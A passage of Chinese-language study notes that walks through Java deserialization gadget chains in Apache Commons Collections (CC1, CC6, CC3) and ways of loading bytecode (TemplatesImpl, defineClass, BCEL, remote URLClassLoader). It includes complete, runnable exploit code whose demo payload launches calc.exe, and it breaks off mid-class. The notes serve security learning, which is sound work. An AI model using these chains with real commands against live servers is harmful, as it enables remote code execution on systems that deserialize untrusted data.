所以在前面POC的基础上进行修改,首先使用LazyMap替换TransformedMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后我们需要对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
最终POC
package client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"C:\\\\Windows\\\\System32\\\\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
第一层包装:LazyMap包装HashMap成为outerMap,利用LazyMap特性后续调用transformerChains
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
第二层包装:AnnotationInvocationHandler包装outerMap,为了用其readObject方法中memberValues.entrySet()方法调用
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
第三层包装:实现InvocationHandler与Porxy特性,proxy调用它实现接口方法时都会进入InvocationHandler#invoke方法中调用Object var6 = this.memberValues.get(var4);
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
第四层包装:保证反序列化的时候走AnnotationInvocationHandler.readObject(memberValue对应proxyMap)
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
反序列化过程:AnnotationInvocationHandler.readObject->proxyMap.entrySet()->AnnotationInvocationHandler.invoke()->outerMap.get(“entrySet”)->LazyMap.get(“entrySet”)->transformerChain
ysoserial操作
ysoserial做了一些其他操作比如最后通过反射获取ChainTransformer对象的iTransformer属性,该属性保存了transformer链类型是Transformer[],通过替换将有危害的Transformer数组放入对象中

至于最后ConstantTransformer(1)可能是为了隐蔽启动进程的日志特征
CC6
CC1的利用链在Java 8u71以后就不能再利用了主要原因是是sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了
CC6则解决了高版本Java的利用问题,也是cc库中比较通用的利用链
简化版利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
主要触发点还是org.apache.commons.collections.map.LazyMap.get(),解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤
LazyMap#get() 的地⽅
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法


所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了TiedMapEntry#hashCode
当HashMap在put一个key的时候,需要先计算这个key的hash值,会走到HashMap.hash(key)->key.hashCode()
ysoserial中,是利⽤java.util.HashSet#readObject到HashMap#put()到HashMap#hash(key)最后到TiedMapEntry#hashCode()
实际上,在java.util.HashMap#readObject中就可以找到HashMap#hash()的调⽤

在HashMap的readObject方法中,调用到了hash(key),而hash方法中,调用到了key.hashCode()。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成一个完整的Gadget。
Gadget
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
现在拿到了一个恶意的LazyMap对象outerMap,将其作为TiedMapEntry的map属性
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着为了调用TiedMapEntry#hashCode(),我们需要讲tme对象作为HashMap的一个key。这里需要新建一个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没有任何关系
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
将真正的transformers数组设置进来,最后将这个expMap作为对象来序列化
// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
但是执行后发现没有弹窗

关键点在LazyMap的get方法,下图框中的部分就是最后触发命令执行的transform(),但是这个if语句没有进入,因为map.containsKey(key)的结果是true

但是outerMap中明明没有放入一个Key是keykey的对象,看一下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
其实,这个关键点就出在expMap.put(tme,”valuevalue”);这个语句里面,HashMap的put方法中,也有调用到hash(key)
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里就导致LazyMap这个利用链在这里被调用了一遍,因为前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造Payload产生了影响,解决方法很简单,只需要将keykey这个Key,再从outerMap中移除即可,outerMap.remove(“keykey”)
完整POC
package client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

小结
CC6其实并没有那么复杂,CC6的目的是调用TiedMapEntry.hashCode->TiedMapEntry.getValue->map.get
已知当HashMap.readObject的时候会调用hash(key),hash(key)会调用key.hashCode,我们的目的是调用TiedMapEntry.hashCode,所以我们做了操作
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
获取TiedMapEntry对象然后将其塞入新的HashMap中这样反序列化的时候就会走HashMap.readObject()->HashMap.hash(tme)->tme.hashCode(TiedMapEntry.hashCode)后续执行我们的chaintransformer
至于outerMap.remove(“keykey”);这个操作的解释也很简单,HashMap.put也会调用HashMap.hash()导致提前执行chaintransformer
因为这个时候放的是假链只会返回1,LazyMap.put(“keykey”,1)爹日次走到LazyMap.get的时候发现map.containsKey(“keykey”)存在导致后续不执行因此造成影响,所以删除LazyMap中保存的keykey就行

Java中动态加载字节码的方法
什么是Java的”字节码”
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
众所周知,不同平台、不同CPU的计算机指令有差异,但因为Java是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台的JVM虚拟机中
甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行

但是这章所说的”字节码”,可以理解的更广义一些–所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在讨论范围内。
利用URLClassLoader加载远程class文件
Java的ClassLoader是用来加载字节码文件最基础的方法,ClassLoader是一个加载器,告诉Java虚拟机如何加载这个类。Java默认的Class Loader就是根据类名来加载类,这个类名是类完整路径,java.lang.Runtime
URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类,所以我们解释URLClassLoader的工作过程实际上就是在解释默认的Java类加载器的工作流程
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL不以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在jar包中寻找.class文件
- URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
- URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类
正常开发的时候通常遇到的是前两者,什么时候才会出现使用Loader寻找类的情况,非file协议的情况下,最常见的就是http协议
使用HTTP协议来测试一下,看Java是否能从远程HTTP服务器上加载.class文件

成功请求到了/Hello.class文件,并执行了文件里的字节码输出了”Hello World”,所以作为攻击者,如果我们控制目标Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了
利用Class Loader#defineClass直接加载字节码
不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面三个方法调用

其中:
- loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
- findClass的作用是根据基础URL指定的方式来加载类的字节码,就像前面说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
- defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是defineClass,他决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass是一个native方法,逻辑在JVM的C语言代码中
编写简单的代码演示如何让系统的defineClass来直接加载字节码
这段代码通过反射调用 ClassLoader.defineClass,把一段 Base64 编码后的 class 字节码定义成 JVM 中的 Hello 类。
这个 Hello 类的构造方法已经存在于字节码中。
defineClass 只负责定义类,不会执行构造方法。
hello.newInstance() 创建 Hello 对象时,才会调用无参构造方法,从而执行构造函数里的代码。
package client;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}
注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显示地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。
执行代码输出了Hello World

因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它确是我们常用的一个攻击链TemplatesImpl的基石
利用TemplatesImpl加载字节码
上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重载了defineClass方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显示声明作用域,其作用域为default。所以也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用
从TransletClassLoader#defineClass()向前追溯一下调用链
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
追到最前面两个方法TemplatesImpl#getOutputProperties()、TemplatesImpl#newTransformer,这两者的作用域是public,可以被外部调用。尝试用newTransformer()构造简单的POC
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA
CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP
TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0
aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm
KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y
Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp
bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb
DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB
AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj
dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z
bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA
AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA
AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA
DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
其中,setFieldValue方法用来设置私有属性,这里设置了三个属性:_bytecodes、_name、_tfactory。_bytecodes是由字节码组成的数组;_name可以是任意字符,只要不为null即可;_tfactory需要是一个TransformerFactoryImpl对象,因为TemplateImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtentionsMap(),如果是null会出错
为什么需要进行一次base64decode,是因为Java代码里不方便直接写二进制字节,所以先把.class文件转成base64字符保存到代码里,运行时再decode回原始字节码。
HelloTemplatesImpl.class 原始字节码
↓
Base64 编码
↓
变成一长串字符串 "yv66vgAAADQ..."
↓
写进 Java 源码
↓
Base64 解码
↓
还原成 byte[] code
↓
塞进 TemplatesImpl._bytecodes
另外,值得注意的是,TemplateImpl中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internet.xsltc.runtime.AbstractTranslet的子类
构造一个特殊的类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}
其继承了AbstractTranslet类,并在构造函数里插入Hello的输出。将其编译成字节码,即可被TemplateImpl执行

利用BCEL Class Loader加载字节码
BCEL全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。
JDK会将BCEL放到自己的代码中,主要原因是为了支撑Java XML相关的功能。准确来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。
JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。
XSLT(扩展样式表转换语言)是一种可为扩展置标语言提供表达形式设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一们动态”语言”,在Java中必然会先被编译成Java,才能够执行。
XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就是将XSLT的功能转化成了Java代码,优化执行速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。
尝试使用本地的Java来编译一下hello.xsl

可见,从hello.xsl生成了hello.class,反编译这个class即可看到源代码。
反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl,在defineClass中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTrasnlet
TemplatesImpl是对JAXP标准中java.xml.transform.Templates接口的实现,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl会使用defineClass的原因。
因为需要”编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正时一个处理字节码的库,所以Apache Xalan是依赖BCEL的。
了解完背景,来看利用,我们可以通过BCEL提供的两个类Repository和Utility来利用:Repository用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译Java文件生成字节码;Utility用于将原生的字节码转换成BCEL格式的字节码
package com.govuln;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class HelloBCEL {
public static void main(String []args) throws Exception {
JavaClass cls = Repository.lookupClass(evil.Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}

而BCEL Class Loader用于加载这串特殊的”字节码”,并可以执行其中的代码
package client;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class HelloBCEL {
public static void main(String []args) throws Exception {
decode();
}
public static void encode() throws Exception{
JavaClass cls = Repository.lookupClass(client.Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
public static void decode() throws Exception{
new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$90MK$c3$40$Q$86$dfm$d3$a6M$d3$P$5b$eb$b7$a2$b7$d6$83$b9x$ab$e8A$Q$PA$85H$3co$d2$a5n$d9d$r$dd$I$fe$y$3d$ux$f0$H$f8$a3$c4I$f4P$c1$j$98$dd$f7$99$99$97a$3f$bf$de$3f$A$ic$cfA$j$bd$sV$d0o$60$e0$60$VC$hk6$d6$Z$ea$t2$95$e6$94$a1$3a$g$87$M$d6$b9$9e$K$86$ae$_Sq$95$t$91$c8ny$a4$88$f4$7d$js$V$f2L$W$fa$XZ$e6$5e$$$Y$3a$7e$ac$a4H$8dw$v$94$d2$T$G$t$d0y$W$8b$LY49$r$3d$9a$f3G$ee$c2F$c3$c6$86$8bMl1$b4$ca$ca$fe$9d$ce$d4$d4$c6$b6$8b$j$ec2$b8$cbf$M$bdb$d0S$3c$9dy$d7$d1$5c$c4$e6$P$K$9e$WF$q$b4$bd$ce$a90$f4$cb$8a$d4$deM$sS$T$98L$f0$84$f6$Z$fc$83$Z$ec$87B$a9$94$e6F$fe$92$a5$n$3c$9b$8cC$i$a0F$ffV$iFA$abSn$92$3aC$85$5e$40$fb$f0$N$ec$F$95$7e$f5$V$d63$81$K$i$ca$jT$v$5b$U5$b8d$d0$o$e5$fe$M$d0$dd$$$ed$3aew$f7$h$de$f9v$ff$a2$B$A$A").newInstance();
}
}

但是在Java 8u251的更新中,这个Class Loader被移除了。
CC3
TemplateImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器。
普通的构造方法:实例构造器<init>
public class Hello {
public Hello() {
System.out.println("Hello 构造方法执行");
}
}
编译成字节码后,变成Hello.<init>(),其作用是:创建对象时初始化这个对象new Hello(); ->Hello.()
类构造器:类初始化方法<clinit>
public class Hello {
static {
System.out.println("类初始化执行");
}
}
编译成字节码后,变成Hello.<clinit>(),其作用是类初始化的时候执行static代码块、static字段初始化
CC1中给过一个demo通过TransformedMap执行任意Java方法
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
前面也给出了利用TemplateImpl动态加载字节码的方法
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA
CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP
TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0
aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm
KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y
Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp
bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb
DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB
AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj
dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z
bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA
AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA
AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA
DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
只要结合这两段POC,即可容易地改造出一个执行任意字节码的CommonsCollections利用链,只需要将第一个demo中invokerTransformer执行的方法改成TemplateImpl::newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
改造后的完整POC
package client;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro2 {
